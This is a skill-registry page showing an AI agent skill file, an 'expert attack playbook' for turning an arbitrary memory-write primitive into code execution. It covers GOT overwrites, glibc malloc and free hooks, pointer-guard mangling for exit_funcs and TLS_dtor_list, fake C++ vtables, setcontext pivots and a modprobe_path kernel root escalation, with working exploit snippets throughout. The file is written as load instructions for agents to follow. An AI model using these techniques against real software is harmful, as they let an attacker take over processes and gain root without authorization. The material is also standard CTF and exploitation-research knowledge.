arbitrary-write-to-rce
Skill2 starsChanged 5 months agoApache-2.0View on GitHub
Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.
2 other projects use a version of this, 1 of them edited.
Adopted by
Most recently taken up by
- Kur1sulab/blackboxedited, first seen Aug 12, 2026
- yaklang/hack-skillsword for word, first seen Apr 29, 2026
Other versions2 projects use a version of this.
Word for word · 1
- yaklang/hack-skills★ 2.4k100% same
Edited · 1
- Kur1sulab/blackbox★ 398% same
Wrote their own version · 0
None found.
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository168 other files it gives its agents.
- AGENTS.mdAGENTS.md
- .cursor/rules/CO-STAR-UI-CREATOR/AGENT.mdcCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/CO-STAR-CREATOR.mdCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/CO-STAR-PROMPT.mdCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/README.mdCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/ui.mdCursor rule
- 401-403-bypass-techniquesSkill
- active-directory-acl-abuseSkill
- active-directory-certificate-servicesSkill
- active-directory-kerberos-attacksSkill
- agent-browserSkill
- ai-ml-securitySkill
- ai-seoSkill
- android-pentesting-tricksSkill
- anti-debugging-techniquesSkill
- api-auth-and-jwt-abuseSkill
- api-authorization-and-bolaSkill
- api-recon-and-docsSkill
- api-secSkill
- arize-adminSkill
- arize-ai-provider-integrationSkill
- arize-annotationSkill
- arize-compliance-auditSkill
- arize-datasetSkill
- arize-evaluatorSkill
- arize-experimentSkill
- arize-instrumentationSkill
- arize-linkSkill
- arize-prompt-optimizationSkill
- arize-promptsSkill
- arize-traceSkill
- authbypass-authentication-flawsSkill
- auth-secSkill
- binary-protection-bypassSkill
- browser-exploitation-v8Skill
- building-nango-functions-locallySkill
- building-nango-functions-remotelySkill
- building-nango-functionsSkill
- business-logic-vulnerabilitiesSkill
- business-logic-vulnSkill
- classical-cipher-analysisSkill
- clickjackingSkill
- cmdi-command-injectionSkill
- code-obfuscation-deobfuscationSkill
- compliance-checkSkill
- compliance-trackingSkill
- container-escape-techniquesSkill
- core-engineeringSkill
- cors-cross-origin-misconfigurationSkill
- crlf-injectionSkill
- csp-bypass-advancedSkill
- csrf-cross-site-request-forgerySkill
- csv-formula-injectionSkill
- d3-visualizationSkill
- dangling-markup-injectionSkill
- defi-attack-patternsSkill
- dependency-confusionSkill
- deserialization-insecureSkill
- dns-rebinding-attacksSkill
- documentation-writerSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
2 rules. About 0 are common, 0 are distinctive, and 2 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈0
Distinctive · estimate
This author's own choices. Worth a look.
2
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 155
If you can overwrite both the function pointer AND the pointer guard (in TLS at fs:[0x30]):
- Very specific: line 217
Advantage: No pointer mangling (function pointers in FINI_ARRAY are not mangled).
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
SKILL: Arbitrary Write to Code Execution — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert techniques for converting an arbitrary write primitive into code execution. Covers every major overwrite target organized by glibc version compatibility: GOT, __malloc_hook, __free_hook, _IO_FILE vtable, __exit_funcs, TLS_dtor_list, _dl_fini, modprobe_path, .fini_array, C++ vtable, and setcontext gadget. This is the "last mile" skill. Base models often target hooks that no longer exist (post-glibc 2.34) or miss pointer mangling requirements.
0. RELATED ROUTING
- heap-exploitation — obtaining the arbitrary write via heap attacks
- format-string-exploitation — obtaining the arbitrary write via %n
- stack-overflow-and-rop — stack-based write primitives
- binary-protection-bypass — which targets are available given protection configuration
- heap-exploitation IO_FILE_EXPLOITATION.md — deep _IO_FILE structure exploitation
1. TARGET SELECTION BY GLIBC VERSION
| Target | glibc < 2.24 | 2.24–2.33 | ≥ 2.34 | Required Knowledge |
| GOT overwrite | OK (Partial RELRO) | OK (Partial RELRO) | OK (Partial RELRO) | Binary base |
__malloc_hook | OK | OK | Removed | libc base |
__free_hook | OK | OK | Removed | libc base |
__realloc_hook | OK | OK | Removed | libc base |
_IO_FILE vtable (direct) | OK | Vtable range check | Vtable range check | libc base + heap |
_IO_FILE via _IO_str_jumps | N/A | OK (2.24–2.27) | Patched | libc base + heap |
_IO_FILE via _IO_wfile_jumps | N/A | OK (≥ 2.28) | OK | libc base + heap |
__exit_funcs | OK | OK | OK | libc base + pointer guard |
TLS_dtor_list | N/A | N/A | OK | TLS addr + pointer guard |
_dl_fini / link_map | OK | OK | OK | ld.so base |
modprobe_path (kernel) | OK | OK | OK | Kernel base |
.fini_array | OK | OK | OK | Binary base (if writable) |
| C++ vtable | OK | OK | OK | Object address + heap |
setcontext gadget | OK | OK (changed in 2.29) | OK | libc base |
| Stack return address | Always | Always | Always | Stack address |
2. GOT OVERWRITE
Replace a function pointer in the Global Offset Table.
Requirements
- Partial RELRO (
.got.pltwritable) — Full RELRO blocks this entirely
Common Targets
| Overwrite From | Overwrite To | Trigger |
printf@GOT | system | Next printf(user_input) with input = /bin/sh |
free@GOT | system | Next free(ptr) where ptr points to "/bin/sh" |
strlen@GOT | system | Next strlen(user_input) |
atoi@GOT | system | Next atoi(user_input) with input = "sh" |
puts@GOT | system | Next puts(user_input) |
exit@GOT | main or gadget | Create loop for multi-shot exploit |
__stack_chk_fail@GOT | ret gadget | Neutralize canary check |
# Format string GOT overwrite
from pwn import fmtstr_payload
payload = fmtstr_payload(offset, {elf.got['printf']: libc.sym['system']})
# Heap-based GOT overwrite (tcache poisoning)
# Allocate chunk at GOT address → write system address3. __malloc_hook / __free_hook (glibc < 2.34)
__malloc_hook
# Overwrite __malloc_hook with one_gadget address
# Triggered by any malloc call (including internal malloc in printf with large format)
write(libc.sym['__malloc_hook'], one_gadget_addr)
# Trigger:
io.sendline('%100000c') # printf calls malloc internally for large format__free_hook
# Overwrite __free_hook with system
write(libc.sym['__free_hook'], libc.sym['system'])
# Trigger: free a chunk containing "/bin/sh"
chunk_data = b'/bin/sh\x00'
# ... allocate chunk with this data, then free itRealloc Trick for one_gadget Constraints
# one_gadget often requires specific register/stack state
# realloc pushes registers and adjusts stack before calling __realloc_hook
# Set __malloc_hook = realloc+N (skip some pushes to adjust stack alignment)
# Set __realloc_hook = one_gadget
write(libc.sym['__realloc_hook'], one_gadget)
write(libc.sym['__malloc_hook'], libc.sym['realloc'] + 2) # +2, +4, +6 etc. to adjust4. _IO_FILE VTABLE
See IO_FILE_EXPLOITATION.md for full details.
Quick Summary by Version
| glibc | Method | Vtable Target |
| < 2.24 | Direct vtable overwrite | Point vtable to fake table with system at __overflow offset |
| 2.24–2.27 | _IO_str_jumps | Within valid range; _IO_str_finish calls _s._free_buffer |
| ≥ 2.28 | _IO_wfile_jumps | Wide-char path: _wide_data->_wide_vtable not range-checked |
| ≥ 2.35 | House of Cat | _IO_wfile_seekoff → _IO_switch_to_wget_mode → fake wide vtable call |
FSOP Trigger
# Overwrite _IO_list_all → fake FILE with crafted vtable
# Trigger via exit() or malloc abort → _IO_flush_all_lockp → _IO_OVERFLOW5. __exit_funcs / __atexit
// __exit_funcs is a linked list of function pointer entries called during exit()
// Each entry contains a flavor (cxa, on, at) and a function pointer
// Function pointers are MANGLED with pointer guard:
// stored = ROL(ptr ^ __pointer_chk_guard, 0x11)Exploitation
# Need: libc base + __pointer_chk_guard value (at fs:[0x30] or leaked)
# 1. Leak or brute-force pointer_guard
# 2. Compute mangled function pointer:
import struct
def mangle(ptr, guard):
return ((ptr ^ guard) << 0x11 | (ptr ^ guard) >> (64-0x11)) & 0xffffffffffffffff
# 3. Write mangled one_gadget/system to __exit_funcs entry
# 4. Trigger: call exit() or return from mainWithout Pointer Guard Knowledge
If you can overwrite both the function pointer AND the pointer guard (in TLS at fs:[0x30]):
- Set pointer guard to 0
- Set function pointer to
ROL(target, 0x11) - Demangling:
ROR(stored, 0x11) ^ 0 = ROR(ROL(target, 0x11), 0x11) = target
6. TLS_dtor_list (glibc ≥ 2.34)
Thread-local destructor list — the primary post-2.34 target.
// Called during __call_tls_dtors() in exit flow
// Each entry: { void (*func)(void *), void *obj, void *next }
// func is MANGLED same as exit_funcs (PTR_DEMANGLE)Location
TLS area (pointed by fs register on x86-64)
tls_dtor_list is a thread-local variable in libc
Typically at fs:[offset] — offset found via libc symbol or brute-forceExploitation
# 1. Leak TLS base address (e.g., via canary leak: canary at fs:[0x28])
# 2. Compute tls_dtor_list address
# 3. Forge a tls_dtor_list entry:
entry = p64(mangled_func_ptr) # func (mangled with pointer guard)
entry += p64(arg_value) # obj (passed as argument to func)
entry += p64(0) # next = NULL (end of list)
# 4. Write entry to heap, set tls_dtor_list to point to it
# 5. Trigger: exit() → __call_tls_dtors() → func(obj)7. _dl_fini / LINK_MAP CORRUPTION
Attack Vector
During exit(), _dl_fini iterates the link_map list and calls DT_FINI_ARRAY entries.
// In _dl_fini:
for each loaded library (link_map entry):
if l_info[DT_FINI_ARRAY]:
array = l_addr + l_info[DT_FINI_ARRAY]->d_un.d_ptr
for each entry in array:
entry() // call destructorExploitation
- Corrupt a
link_mapentry'sl_addr(relocation base) to shift the FINI_ARRAY pointer - Or corrupt
l_info[DT_FINI_ARRAY]to point to fake array - Fake array contains target function pointer (system, one_gadget)
- Trigger:
exit()→_dl_fini→ calls fake destructor
Advantage: No pointer mangling (function pointers in FINI_ARRAY are not mangled).
8. modprobe_path (KERNEL)
Overwrite the kernel's modprobe_path to execute arbitrary commands as root.
# 1. Arbitrary kernel write: overwrite modprobe_path ("/sbin/modprobe")
# with "/tmp/x" (attacker's script)
kernel_write(modprobe_path_addr, b'/tmp/x\x00')
# 2. Prepare script:
# echo '#!/bin/sh' > /tmp/x
# echo 'cat /flag > /tmp/output' >> /tmp/x
# chmod +x /tmp/x
# 3. Trigger: execute a file with unknown binary format
# echo -ne '\xff\xff\xff\xff' > /tmp/trigger
# chmod +x /tmp/trigger
# /tmp/trigger
# → kernel calls modprobe_path ("/tmp/x") as rootSee kernel-exploitation for kernel write primitives.
9. .fini_array
Overwrite destructor function pointers called during normal program exit.
# .fini_array contains function pointers called in reverse order during exit
# Typically: [__do_global_dtors_aux, ...]
# Overwrite first entry with target (main for loop, system for RCE)
# Two-stage: .fini_array[0] = main (loop back), .fini_array[1] = <exploit_func>
# First exit: calls .fini_array[1] (exploit_func), then .fini_array[0] (main)
# In main loop: set up final exploitLimitation: .fini_array may be read-only in Full RELRO binaries.
10. C++ VTABLE OVERWRITE
// C++ objects with virtual functions have a vptr at offset 0
// vptr → vtable → array of function pointers
// Overwrite vptr to point to fake vtable with controlled function pointers
// Object layout:
// +0x00: vptr → [vtable_entry_0, vtable_entry_1, ...]
// +0x08: member data...# 1. Leak object address and vptr
# 2. Create fake vtable in controlled memory:
fake_vtable = p64(0) # offset -0x10 (RTTI info)
fake_vtable += p64(0) # offset -0x08 (RTTI info)
fake_vtable += p64(target_func) # virtual function 0 → system / one_gadget
fake_vtable += p64(target_func) # virtual function 1
# 3. Overwrite vptr to point to fake_vtable + 0x10 (skip RTTI prefix)
# 4. Trigger: call virtual function on the object11. setcontext GADGET
setcontext in libc loads registers from a ucontext_t structure — useful as a pivot gadget.
glibc < 2.29
// setcontext+53: loads registers from [rdi + offsets]
// RDI = first argument = pointer to controlled buffer
// Sets RSP, RIP, and all other registers → full controlglibc ≥ 2.29
// setcontext+61: loads registers from [rdx + offsets]
// Must control RDX, not RDI
// Need an intermediate gadget: mov rdx, [rdi+X]; ... ; call/jmp [rdx+Y]# Common pattern with __free_hook (pre-2.34):
# __free_hook = setcontext + 61
# free(chunk) → setcontext(chunk) where chunk contains fake ucontext
# From ucontext: set RSP to ROP chain, RIP to ret → ROP continues
# Post-2.34: combine with _IO_FILE exploitation
# _IO_FILE vtable call passes fp as first arg → use gadget to move to rdx → setcontext12. DECISION TREE
You have an arbitrary write primitive. What to target?
├── What's the RELRO level?
│ ├── None / Partial → GOT overwrite (simplest, most reliable)
│ │ └── printf→system, free→system, atoi→system
│ └── Full RELRO → GOT read-only, choose alternative:
│
├── What glibc version?
│ ├── < 2.34 (hooks available)
│ │ ├── __free_hook = system → free("/bin/sh") [easiest]
│ │ ├── __malloc_hook = one_gadget → trigger malloc [if constraints met]
│ │ └── __realloc_hook + __malloc_hook realloc trick [adjust stack alignment]
│ │
│ ├── ≥ 2.34 (no hooks)
│ │ ├── Know pointer guard (fs:[0x30])?
│ │ │ ├── YES → __exit_funcs or TLS_dtor_list
│ │ │ └── NO → overwrite pointer guard to 0 first, then exit_funcs
│ │ ├── _IO_FILE + _IO_wfile_jumps (House of Apple 2 / Cat)
│ │ │ └── Need: libc base + heap address + controllable FILE structure
│ │ ├── _dl_fini link_map corruption
│ │ │ └── Need: ld.so base address
│ │ └── .fini_array (if writable)
│ │ └── Need: binary base (no PIE, or PIE base leaked)
│ │
│ └── Any version
│ ├── Stack return address (if stack address known)
│ └── C++ vtable (if targeting C++ object with virtual functions)
│
├── Kernel write primitive?
│ ├── modprobe_path (simplest kernel→root)
│ ├── core_pattern (/proc/sys/kernel/core_pattern)
│ └── Direct cred structure overwrite
│
└── Need to chain read → write → execute?
└── setcontext gadget: arbitrary write → pivot RSP → ROP chain
├── glibc < 2.29: setcontext+53 (uses RDI)
└── glibc ≥ 2.29: setcontext+61 (uses RDX, need mov rdx, [rdi] gadget)Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

